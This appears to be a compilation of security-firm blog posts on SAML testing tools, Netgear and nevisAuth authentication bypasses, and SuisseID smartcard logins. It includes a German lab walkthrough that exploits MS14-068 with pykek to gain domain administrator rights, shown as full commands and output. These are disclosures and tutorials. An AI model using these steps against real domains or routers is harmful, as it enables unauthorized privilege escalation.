SAMLRequest Support for SAML Raider

About a year ago, the Burp extension SAML Raider [0] was released as a result of a bachelor thesis [1] in collaboration with Compass Security. This Burp extension automates most of the steps, which are necessary to test a SAML single sign-on process and perform according attacks. With SAML Raider, an authentication bypass vulnerability in a Service Provider was found [2]. More information is available in our first blog post about SAML Raider here: SAML Burp Extension [5].

We did some bugfixing and added new features to SAML Raider in the past year. In version 1.2.0, we introduced the new ability to intercept and edit SAMLRequest Messages. The current version is 1.2.1, which is available here [3] on GitHub. It will also be in the official Burp Suite BApp store [4] shortly.

Decode SAMLRequest Message

There are several Burp Extensions [6] like SAML ReQuest [7], SAML Editor or SAML Encoder which allows you to edit SAMLRequests. We also got asked [8] if this feature is supported in SAML Raider, which was not the case. Because this would be a nice feature, we implemented it in version 1.2.0.

What is a SAMLRequest?

A SAMLRequest is the SAML message, which is sent from the user (browser) to the Identity Provider, to “ask” for an assertion. Usually, the SAMLRequest is sent to the Identity Provider, which will respond with a login form to ask for the credentials. If the login was successful, the SAMLResponse is sent back to the client, which is then forwarded to the Service Provider.

A SAMLRequest is sent via POST to the Identity Provider and looks like this:

samlrequest

So, it’s quite clear, that this is not so practical for quick editing and testing.

SAMLRequest in SAML Raider

SAML Raider is now able to properly decode a SAMLRequest and display it in the SAML Raider tab:

samlrequest_samlraider

Now it is very easy to modify the SAMLRequest. The SAMLRequest is automatically encoded back in it’s original format and forwarded to the target, if the Forward button is clicked.

But why do you need to view/edit the SAMLRequest? With this new feature, you can read what the client is sending exactly to the Identity Provider and perform fuzzing or testing the Identity Provider itself.

So, if you have any questions, issues or features requests, don’t hesitate to contact us or open an Issue on GitHub [0].

References

Presentation on SAML 2.0 Security Research

Compass Security invested quite some time last year in researching the security of single sign-on (SSO) implementations. Often SAML (Security Assertion Markup Language) is used to implement a cross-domain SSO solution. The correct implementation and configuration is crucial for a secure authentication solution. As discussed in earlier blog articles, Compass Security identified vulnerabilities in SAML implementations with the SAML Burp Extension (SAML Raider) developed by Compass Security and Emanuel Duss.

Antoine Neuenschwander and Roland Bischofberger are happy to present their research results and SAML Raider during the upcoming

Beer-Talks:
– January 14, 2016, 18-19 PM, Jona
– January 21, 2016, 18-19 PM, Bern

Free entrance, food and beverage. Registration required.

Get more information in our Beer-Talk page and spread the word. The Compass Crew is looking forward to meeting you.

Aftermath of the Netgear Advisory Disclosure

Update – 13.10.2015: Netgear published a new firmware (version 1.1.0.32) which fixes the reported authentication bypass.

My most recently appointed colleague, Daniel Haake, described in the previous blog article “Authentication Bypass in Netgear WNR1000v4 Router” how he found an authentication bypass in commonly used Netgear firmwares. Due to the rediscovery of the issue and its public disclosure, we decided to go public despite the fact Netgear did not yet release a fix for the identified security hole.

Shortly after the release of the Compass advisory on public mailing list Bugtraq, we were contacted by Joe Giron, who experienced troubles with his Internet connection around September 27th. On September 28th, Joe noticed that his Netgear router’s primary DNS server had been set to point to a non-standard DNS server. This timeframe means that attackers were active before the release of Shellshock Lab’s blog article (which is detailing the same vulnerability). Joe mentioned that the remote administration interface of his Netgear router was accessible via the Internet, but protected by a strong password. He therefore had high suspicions that he fell victim of an attack against an unpatched vulnerability in his router. The release of our advisory was the confirmation and technical explanation of it.

The IP of the rogue DNS server set in his router did not only expose a DNS service, but also a web server. This web server served various PHP scripts, log files and text files. The logs contained over 17’000 entries of presumably hacked routers, including their IP address, username and password of their administration interfaces. A further analysis of this list would identify more than 11’000 unique routers.

netgearpasswords

As we discovered that this authentication bypass was being exploited in the wild and that over 10’000 users were affected, we contacted Switzerland’s CERT for further help. GovCERT was very helpful and took over the case by

  • Attempting to contact Netgear again to urge them to release the patch
  • Analyzing the logs of the web server and identifying the victims
  • Taking down the command and control server to avoid further infections
  • Liaising with GovCERT’s partners worldwide to notify the Internet service providers of the victims

In the meantime, the media got interested in the advisory and Threatpost published yesterday evening an article about the flaw and its follow-up. A second person reached out to us after the publication of this article, describing the same infection vector as well as the same IP address for the DNS and C&C server. We are currently in contact with other media outlets and will update this section when further articles are released.

The debate between responsible- and full disclosure is endless and both approaches have their pro- and cons. At Compass Security, we attempt to get the best balance between these two approaches. We are confident that our approach of leaving some time for the vendor to patch the vulnerability before publicly disclosing the issue in case of no adequate response was the best. Public information has proven to work and helped identifying ongoing attacks. Coordination with the relevant authorities allowed coordinated action against the attackers and will hopefully help the victims of this hack.

Media Update, 11.10.2015:

Media Update, 12.10.2015:

Authentication Bypass in Netgear WNR1000v4 Router

Three months ago I tested the web interface of the Netgear WNR1000v4 router for some typical vulnerabilities. When playing around with the application by forcefully calling different URLs in contexts it was not meant for, I got some strange, but interesting behaviour.

I accessed different URLs and then switched back to the root web directory to have a look at some web application feature. At this moment I realized that I did not have to submit any credentials to access the administration interface. It seemed that the whole HTTP authentication process was not active anymore and I remembered that I definitely did not log in because I wanted to test the password reset feature. This was really strange, so I logged out and had a look at my Burp request history to determine which resource triggered this behaviour.

After some tests I realized that the resource /BRS_netgear_success.html is the problem. If you are not authenticated and call the URL several times the HTTP Basic Authentication temporary gets deactivated and you can access the administration interface without username and password [1].

This works because the “password deactivation feature” is used when you first plugin the router to configure some settings the first time.

I tested this vulnerability on the WNR1000v4 Netgear router with the following firmware versions:

Because this firmware is used for multiple devices, other devices are probably affected as well. This page references a list of devices which are very likely to be impacted [2]:

  • JNR1010v2
  • JWNR2000v5
  • JWNR2010v5
  • WNR614
  • WNR618
  • WNR1000v4
  • WNR2020
  • WNR2020v2

After the discovery I contacted Netgear through different channels to find a way for responsible disclosure. Unfortunately Netgear was not very responsive and it took a longer time until they responded. After about 2 months they sent me an undisclosed security fix which solves the problem. Netgear twice refused to respond to our request for a patched firmware release date. In the meantime, the issue was rediscovered and publically disclosed by another researcher [4]. This public disclosure prompted us to release our advisory to the public on October 6th.

In this case not the end of the story, but just the trigger of further events detailed in follow-up post “Aftermath of the Netgear Advisory Disclosure”.

References:

[1] http://www.csnc.ch/misc/files/advisories/CSNC-2015-007_Netgear_WNR1000v4_AuthBypass.txt
[2] http://kb.netgear.com/app/answers/detail/a_id/28025
[3] http://kb.netgear.com/app/answers/detail/a_id/26742
[4] http://www.shellshocklabs.com/2015/09/part-1en-hacking-netgear-jwnr2010v5.html

SAML SP Authentication Bypass Vulnerability in nevisAuth

Two months ago, we wrote about SAML Raider, a Burp extension which allows automating SAML attacks based on manipulations of the intercepted security assertion. Using this tool, we were able to identify a severe vulnerability in the service provider (SP) implementation of AdNovum‘s nevisAuth. The following conditions make exploitation possible:

  • SAML POST-Binding is used, i.e. the security assertion is transmitted from the identity provider (IdP) via the user-agent to the SP, therefore exposing the contents of valid assertions to the attacker.
  • The SP accepts signed assertions from one or more identity providers, whereas the signing X.509 certificate is embedded into the assertion.

As described in the previous blog post, SAML Raider features a certificate cloning utility that allows inserting a self-signed, rogue copy of the X.509 certificate into the assertion. The assertion details can then be modified to impersonate other users, grant additional rights, etc. Finally, the rogue certificate is used to sign the modified security assertion.

Due to a flaw in nevisAuth’s signature validation logic, only some attributes of the embedded signing certificate are matched against the legitimate certificate, originating from the IdP. For example the distinguished names (DN) of issuer and subject are checked, but no uniquely identifying attributes such as public key or fingerprint. Then, since both the embedded certificate and the legitimate certificate from the truststore are seen as equivalent, the implementation does not care which one is actually used to validate the assertion’s signature. Unfortunately, the embedded, rogue certificate is used, enabling the attacker to inject arbitrary assertions.

After addressing the issue with AdNovum, they responded very swiftly, providing a security bulletin, a patch and mitigation procedures to their customers a mere day later. After a grace period of a couple of months, the vulnerability was disclosed under the CVE id CVE-2015-5372.

Vom Domäne Benutzer zum Domäne Administrator (exploit MS14-068)

Der von Microsoft publizierte “out-of-band” Patch MS14-068 [1] (Vulnerability in Kerberos Could Allow Elevation of Privilege – 3011780) behebt eine Schwachstelle in Kerberos, welche es einem normalen Benutzer erlaubt, administrative Privilegien in der Windows Domäne zu erlangen. Die ersten öffentlichen Artikel [2] mutmassten, dass die Kerberos Services den CRC32 Algorithmus als gütlige Signatur auf Tickets akzeptieren. Per letzten Freitag wurde dann ein Tool namens Pykek [3] (Python Kerberos Exploitation Kit) publiziert, mit welchem die Schwachstelle in ein paar wenigen Schritten ausgenutzt werden kann.

Im Hacking-Lab [4] können Abonnenten und Lizenznehmer diese Schwachstelle risikofrei, in einer geschützten Umgebung, selbst testen. Folgende Schritte erklären das Vorgehen:

  1. Download und entpacken von pykek (Python Kerberos Exploitation Kit) von https://github.com/bidord/pykek
  2. Installieren des Pakets krb-user
    root@lcd806:~# apt-get install krb5-user
  3. Konfiguration des Domänenamen (in Grossbuchstaben): COMPA.NY sowie Authentication Service (AS) und Ticket Granting Service (TGS): 192.168.200.64
  4. Konfiguration des DNS /etc/resolve.conf welcher üblicherweise auf das Active Directory (AD): 192.168.200.64 zeigt
  5. Starten von kinit
    root@lcd806:~# kinit hacker10@COMPA.NY
    Password for hacker10@COMPA.NY:
    kinit: Clock skew too great while getting initial credentials

    Hint: Das Kommando kann fehlschlagen, wenn die Serverzeit zuviel von der Zeit auf dem Angreifersystem abweicht. Es muss dann die Systemzeit des Angreifer wie in Schritt 6 und 7 gezeigt, nachgeführt werden.

  6. Optional: AD Systemzeit ermitteln, falls die Abweichung zu gross ist
    root@lcd806:~# nmap –sC 192.168.200.64
    […]
    | smb-os-discovery:
    |   OS: Windows Server 2003 3790 Service Pack 1 (Windows Server 2003 5.2)
    |   OS CPE: cpe:/o:microsoft:windows_server_2003::sp1
    |   Computer name: csl-ad
    |   NetBIOS computer name: CSL-AD
    |   Domain name: compa.ny
    […]
    |_  System time: 2014-12-07T15:07:11+01:00
    […]
    
    root@lcd806:~# date
    Sun Dec  7 15:17:47 CET 2014
  7. Optional: Nachführen der Systemzeit auf dem Angreifersystem, falls notwendig und nochmals den Schritt 5 durchführen.
  8. Prüfen der Kommunikation mit dem Domain Controller resp. Active Directory. Für //CSL-AD.COMPA.NY/c$ sollte ein “Access Denied” resultieren. Für //CSL-AD.COMPA.NY/netlogon ein “Success”.
    root@lcd806:~# smbclient -k -W COMPA.NY //CSL-AD.COMPA.NY/c$
    OS=[Windows Server 2003 3790 Service Pack 1] Server=[Windows Server 2003 5.2]
    tree connect failed: NT_STATUS_ACCESS_DENIED
    
    root@lcd806:~# smbclient -k -W COMPA.NY //CSL-AD.COMPA.NY/netlogon
    Enter hacker10's password:
    Domain=[COMPA] OS=[Windows Server 2003 3790 Service Pack 1] Server=[Windows Server 2003 5.2]
    smb: \> ls
    .                                   D        0  Wed Feb 18 14:22:57 2009
    […]
  9. Start rpcclient und eine Verbindung zum AD herstellen
    root@lcd806:~# rpcclient -k CSL-AD.COMPA.NY
  10. Die SID eines normalen User auslesen. Bspw. hacker10
    rpcclient $> lookupnames hacker10
    hacker10 S-1-5-21-3953427895-231737128-487567029-1107 (User: 1)
  11. Mit Hilfe der SID und pykek wird nun ein Ticket mit administrativen Privilegien generiert
    root@lcd806:~# python ms14-068.py -u hacker10@COMPA.NY -s S-1-5-21-3953427895-231737128-487567029-1107 -d CSL-AD.COMPA.NY
    Password:
    [+] Building AS-REQ for CSL-AD.COMPA.NY... Done!
    [+] Sending AS-REQ to CSL-AD.COMPA.NY... Done!
    [+] Receiving AS-REP from CSL-AD.COMPA.NY... Done!
    [+] Parsing AS-REP from CSL-AD.COMPA.NY... Done!
    [+] Building TGS-REQ for CSL-AD.COMPA.NY... Done!
    [+] Sending TGS-REQ to CSL-AD.COMPA.NY... Done!
    [+] Receiving TGS-REP from CSL-AD.COMPA.NY... Done!
    [+] Parsing TGS-REP from CSL-AD.COMPA.NY... Done!
    [+] Creating ccache file 'TGT_hacker10@COMPA.NY.ccache'... Done!
  12. Nun muss auf dem Angreifersystem noch das eben erstellt Kerberosticket gesetzt werden
    root@lcd806:~# mv TGT_hacker10\@COMPA.NY.ccache /tmp/krb5cc_0
  13. Das wars. Wir sind Domäne Administrator
    root@lcd806:~# smbclient -k -W COMPA.NY //CSL-AD.COMPA.NY/c$
    OS=[Windows Server 2003 3790 Service Pack 1] Server=[Windows Server 2003 5.2]
    smb: \> ls
    AUTOEXEC.BAT                        A        0  Tue May  3 00:44:46 2005
    boot.ini                         AHSR      208  Tue May  3 21:30:40 2005
    CONFIG.SYS                          A        0  Tue May  3 00:44:46 2005
    Documents and Settings              D        0  Fri May 29 14:03:55 2009
    IO.SYS                           AHSR        0  Tue May  3 00:44:46 2005
    MSDOS.SYS                        AHSR        0  Tue May  3 00:44:46 2005
    NTDETECT.COM                     AHSR    47772  Tue May  3 21:21:58 2005
    ntldr                            AHSR   295536  Tue May  3 21:21:58 2005
    pagefile.sys                      AHS 402653184  Sat Sep 17 16:50:27 2011
    Program Files                      DR        0  Thu May  5 12:18:47 2011
    RECYCLER                          DHS        0  Tue May  3 22:24:29 2005
    System Volume Information         DHS        0  Tue May  3 21:34:10 2005
    test.txt                            A       10  Thu Sep 30 14:37:49 2010
    WINDOWS                             D        0  Thu May  5 14:34:45 2011
    wmpub                               D        0  Tue May  3 00:45:57 2005
    65535 blocks of size 131072. 32678 blocks available

 

Bekannte Issues

  • Es ist wichtig, dass die Zeit auf den Systemen synchron ist.
  • Gemäss öffentlichen Statements funktioniert pykek bis und mit Domain Controllers (DCs) mit Windows 2008 R2. Dies weil die Ausnutzung für DCs mit Windows 2012 und später “leicht komplizierter” [5,6] ist.

Gegenmassnahmen

Installation des “out-of-band” Patch MS14-068

Credits

Alexandre Herzog für das Tracken der MS Issues und dieses Tutorial.

Referenzen

[1] http://blogs.technet.com/b/msrc/archive/2014/11/19/security-bulletin-ms14-068-released.aspx
[2] http://blog.beyondtrust.com/a-quick-look-at-ms14-068
[3] https://github.com/bidord/pykek
[4] https://www.hacking-lab.com
[5] https://twitter.com/gentilkiwi/status/540953650701828096
[6] http://blogs.technet.com/b/srd/archive/2014/11/18/additional-information-about-cve-2014-6324.aspx

SuisseID-basierte Authentisierung mit Apple OS X

Apple veröffentliche 2006 ein Setup-Guide für die Benutzung von OS X mit Smartcards. Die Anleitung basiert auf der Version 10.4 ist somit nicht mehr aktuell. Die Prinzipien sind allerdings nach wie vor anwendbar und benötigen nur ein paar wenige Anpassungen, wie das folgende Proof-of-Concept zeigt. Es existieren drei Möglichkeiten unter OS X die Smartcard mit einem Verzeichnisdienst (lokal oder entfernt) zu assoziieren:

  • PubKeyHash
  • Attribute Matching
  • PKINIT

Im Folgenden wird das Standardvorgehen beschrieben, um eine lokale Smartcard-Authentisierung mittels PubKeyHash zu konfigurieren. Bei dieser Methode wird ein öffentlicher Schlüssel der Smartcard mit einem Benutzerkonto verknüpft. Möchte sich dieser Benutzer anmelden, dann steckt er die Smartcard ins System und gibt den korrekten PIN ein. Eine Nachricht wird dann digital mit dem Privatschlüssel signiert und mit dem öffentlichen, im System gespeicherten verifiziert. Dadurch kann, analog zur Authentisierung via SSH, die eindeutige Zuordnung vom Inhaber der SuisseID zum Benutzerkonto sichergestellt werden.

Zunächst werden die Hashes der öffentlichen Schlüssel auf der SuisseID gelistet. Dies geschieht mit dem Kommando ‘sc_auth’.

$ sc_auth hash | grep SwissSign
 AA779E7AD6DBB45AFCA48C64F1118E115DFB5604 SwissSign_nonRep
 B6EFD1C9C5DA0D4B70E18B580BD22757D53D79AA SwissSign_digSig

Anschliessend wird der Hash des Authentisierungsschlüssels dem entsprechenden Benutzer zugewiesen, in diesem Beispiel dem Benutzer namens ‘sc’:

$ sudo sc_auth accept -u sc –h B6EFD1C9C5DA0D4B70E18B580BD22757D53D79AA

Zuletzt muss das OS X-Authentisierungssystem für die Smartcard-Verwendung konfiguriert werden, in der Datei “/etc/authorization”. Am einfachsten geschieht dies mit dem PlistBuddy-Befehl:

$ sudo /usr/libexec/PlistBuddy -c "add rights:system.login.console:mechanisms:0 string builtin:smartcard-sniffer,privileged" /etc/authorization
$ sudo /usr/libexec/PlistBuddy -c "add rules:authenticate:mechanisms:0 string builtin:smartcard-sniffer,privileged" /etc/authorization

Nach den obigen Änderungen kann auf der Anmeldemaske die SuisseID eingesteckt werden. Der Dialog erkennt die Zuordnung zum Benutzer ‘sc’ und ändert das Eingabefeld von ‘Kennwort’ zu ‘PIN’. Allerdings scheitert die erfolgreiche SuisseID-Anmeldung noch. Eine Anfrage auf der entsprechenden Mailing-Liste hat zur Lösung geführt. Dem Betriebssystem muss nämlich zusätzlich die vollständige Zertifikatskette innerhalb des sogenannten System-Schlüsselbunds zur Verfügung stehen. Ein Import der Zertifikate in den Schlüsselbund “Authentisierung” ist nicht ausreichend. Sobald die Zertifikate importiert werden, funktioniert die SuisseID-basierte Authentisierung problemlos:

Schlüsselbund-Verwaltung

Abbildung: SwissSign-Zertifikatskette muss im Schlüsselbund System importiert werden

Wichtig ist zudem, dass die OpenSC-Tools nicht installiert sind resp. vorher deinstalliert werden, falls sie noch von etwaigen Tests installiert sein sollten, da sie die System-Treiber für die Smartcard-Authentisierung übersteuern, wie folgende Log-Ausgabe zeigt:

Aug 12 15:34:12 macmini.local com.apple.SecurityServer[15]: reader ACS
 ACR 38U-CCID 00 00 inserted token "SwissSignID "
 (9cde5b4dfbf9110fb3c13803a5498a1635b2e538) subservice 3 using driver com.apple.tokend.opensc

Eine Deinstallation der OpenSC-Tools erfolgt mit dem mitgelieferten Deinstallations-Script:

$ sudo /usr/local/bin/opensc-uninstall

Access control in Windows

According to [Access Control, 2013], Access control refers to security features that control who [sic] can access resources in the operating system. Applications call access control functions to set who can access specific resources or control access to resources provided by the application.”

The Windows access control model is founded on two base components: access tokens and security descriptors. The relations and interactions between them are illustrated in the schema below, based on [Parts of the Access Control Model, 2013], [Access Tokens, 2013] and [Securable Objects, 2013].

Access Token visualisation

The following items of the schema were therefore further studied:

  • Security identifiers (SIDs) are unique and used to identify a trustee. SIDs are assigned by Active Directory for users within a Windows domain. Various well-known SIDs exist and while SIDs should not be used directly, they are consultable for everybody and their randomness or secrecy is not a security prerequisite [Security Identifiers, 2013]. SIDs are also used to identify logon sessions and are kept unique while a computer is running. The list of previously issued logon SIDs is reset on the reboot of the computer [Security Glossary – L, 2013].
  • Restricted tokens are copies of primary or impersonation access tokens with fewer enabled permissions. Compared to its original access token, a restricted token may contain fewer privileges, have the deny-only attribute set or specify a list of restricting SIDs [Restricted Tokens, 2013].
  • Primary versus impersonation tokens: a primary token is created by the operating system either on a user logon or when the user starts a process. An impersonation token is created when a server-side process captures the identity of a client and impersonates this client identity during the execution of the task. A server-side process using impersonation will have two tokens: first its primary token and a second impersonation token featuring details of the client. Moreover, an impersonation token has one of four different levels of impersonation: anonymous, identify, impersonate and delegate [Lebrun, 2013].

None of the above objects implement cryptography. No crypto-based verification is implemented in the checking process documented either [How AccessCheck Works, 2013].

 

Offline references

[Lebrun, 2013]: Lebrun, M. (2013, July-August). Faiblesse des mécanismes d’autentification: quelles solutions? MISC – Multi-System & Internet Securitry Cookbook(68), page 12-21.

OpenSSH authentication with SuisseID

SuisseID is the first legally accepted, standardized, electronic identification hardware in Switzerland. Available since 2010 for any person living in Switzerland, it contains two X.509 certificates, one for authentication and one for qualified signatures. ‘Qualified’ in this regard means that is legally treated equally to a manual signature. This is especially interesting for signing contracts, emails and so forth.

The authentication certificate (IAC) can be used to login to services which support certificate based logins, or in other words, have a SuisseID interface. For people working in Unix environments it would be cool to allow OpenSSH authentication based on the SuisseID authentication certificate. Public Key based authentication is nothing new, however, usually you deal with software keys that lie around on your hard disk, which is an insecure environment by definition. Ideally, your private key would never leave its locked-up secure environment. That is where an HSM (Hardware Security Module) like SuisseID comes into place.

Let’s have a look on how simple it is to authenticate you against an OpenSSH server using SuisseID on an Ubuntu 12.04 client. The following examples assume you have a valid and properly initialized SuisseID, connected to your system, and also installed the required SuisseID software on your client.

After you have installed the SuisseID software from your Certificate Issuer (Swiss Post or QuoVadis), a shared library will have been installed that we’ll need in order to make OpenSSH authentication happen. The basic principle of a SuisseID based authentication is the same as with any common software key: You need to configure your server for public key authentication and copy the public key of your key pair to the server and store it within the file ~/.ssh/authorized_keys.

However, since the public keys are stored on the SuisseID HSM, you need to extract them first. There are two different methods:

  1. Extract and copy them manually
  2. Use ssh-agent and ssh-copy-id

Manual extraction

Manual extraction of the public keys is simple, but requires the latest version of OpenSSH (6.2) where the relevant command line option has been added. Note how the newly installed shared library of the Certificate Issuer is used here:

$ ssh-keygen -D /usr/lib/libcvP11.so
ssh-rsa  AAAAB3NzaC1yc2EAAAAFAK3XwvEAAAEBAJ9QMJc+ZZ0cGgiWJXNt6h0ta0
4axj/amX4QOnaH8CtGfQe97Jd7b1DcGM0KBA6iGPiU8/sh0nlj5Yr/KDmuso/tstCXc
p6cS5TX5rXCquzOSThJBN2TVE5jbi9CqwS6/8A1f31rWW5CWgCgUDpxyL6ST6qt3RJ2
FJedNR5uBSaAvtx41yhI7xcEQZOCB/PoNKcgEXOPZBlL07U0s/QeYi0YyL4QLZnk2Bi
uJyAWErqMmEQYUVxpb2Dshc3+grCvr2AI+VX2RDLfewe/CF2tfqaAb9c1E+LQKQCs/w
sOzNZ6DbAGbAOHHmCGsAlsrAGZHL2umXExRvuyYpxfs/Tnuek=
[…]

As soon as the above command has been invoked, the shared library accesses the SuisseID security device, asks for your PIN and retrieves the public keys, which can then be manually copied to the server as with any other public key.

Connecting to the server is now only a matter of using the correct ssh parameters to interface with your SuisseID upon login. This is done by invoking the PKCSProvider key word like so:

$ ssh –o PKCS11Provider=/usr/lib/libcvP11.so puffy.csnc.ch

If you are like me, you’ll be too lazy to remember the path and name of the shared library and you will create your own little ssh_config file for storing that information. That will automatically do the right thing when ssh’ing into ‘puffy’:

# ~/.ssh/config
Host puffy
	Hostname puffy.csnc.ch
	PKCS11Provider=/usr/lib/libcvP11.so

Using ssh-agent

Start the OpenSSH agent as usual and add your keys of the PKCS#11 container. Again, note how the shared library does the interfacing with your SuisseID:

$ eval `ssh-agent`
Agent pid 260

$ ssh-add -l
The agent has no identities.

$ ssh-add -s /usr/lib/libcvP11.so
Enter passphrase for PKCS#11: 
Card added: /usr/lib/libcvP11.so

$ ssh-add -l
2048 6f:64:73:94:b9:cf:57:09:d6:0e:b5:c3:1c:2c:29:f6 /usr/lib/libcvP11.so (RSA)
2048 74:e8:81:b3:eb:a3:26:97:a4:36:b3:23:29:7c:15:83 /usr/lib/libcvP11.so (RSA)
2048 0b:79:e8:63:5b:ca:2c:ca:5a:fe:48:a5:b6:64:57:54 /usr/lib/libcvP11.so (RSA)

You can now simply use the command “ssh-copy-id” to transfer your public keys to the remote system:

$ ssh-copy-id puffy.csnc.ch
/opt/local/bin/ssh-copy-id: INFO: attempting to log in with the new key(s), to filter out any that are already installed
/opt/local/bin/ssh-copy-id: INFO: 3 key(s) remain to be installed -- if you are prompted now it is to install the new keys
batman@puffy.csnc.ch's password: 

Number of key(s) added:        3

Now try logging into the machine, with:   "ssh 'puffy.csnc.ch'"
and check to make sure that only the key(s) you wanted were added.

That’s all. Whenever you now want to ssh to your server and your SuisseID is connected to your computer, it will ask you for the PIN of the token and authenticates itself. No more passwords!

I’m a Mac!

In contrast to what the commercials make us believe, Mac users have to go an extra mile here. Apple has decided to get rid of PKCS#11 support in the OpenSSH version shipped with 10.8 (note the location of the required shared library on Mac OS X):

$ /usr/bin/ssh –I /usr/local/lib/libcvP11.dylib
no support for PKCS#11

Thus, you need to get yourself an uncut version through Macports. Afterwards, live is good:

$ sudo port selfupdate
----> Updating Macports base sources using rsync
MacPorts base version 2.1.3 installed,
MacPorts base version 2.1.3 downloaded.
----> Updating the ports tree
----> MacPorts base is already the latest version
[…]

$ sudo port install openssh
[…]
----> Installing openssh @6.2p1_0
----> Activating openssh @6.2p1_0
----> Cleaning openssh
[…]

$ /opt/local/bin/ssh –V
OpenSSH_6.2p1, OpenSSL 1.0.1e 11 Feb 2013

I’m a PC!

Windows users often use PuTTY in order to connect to OpenSSH servers. However, PuTTY does not come with PKCS#11 support by default. PuTTY-VX4 from Christian Kahlo is an extended edition and comes to the rescue, which is fully capable of using SuisseID as security device. The following screen shot shows the relevant configuration dialog under ‘Connection | SSH | Pkcs11’. Again, note the path of the shared library that you will need to provide:

A successful ssh authentication on Windows may then look like this: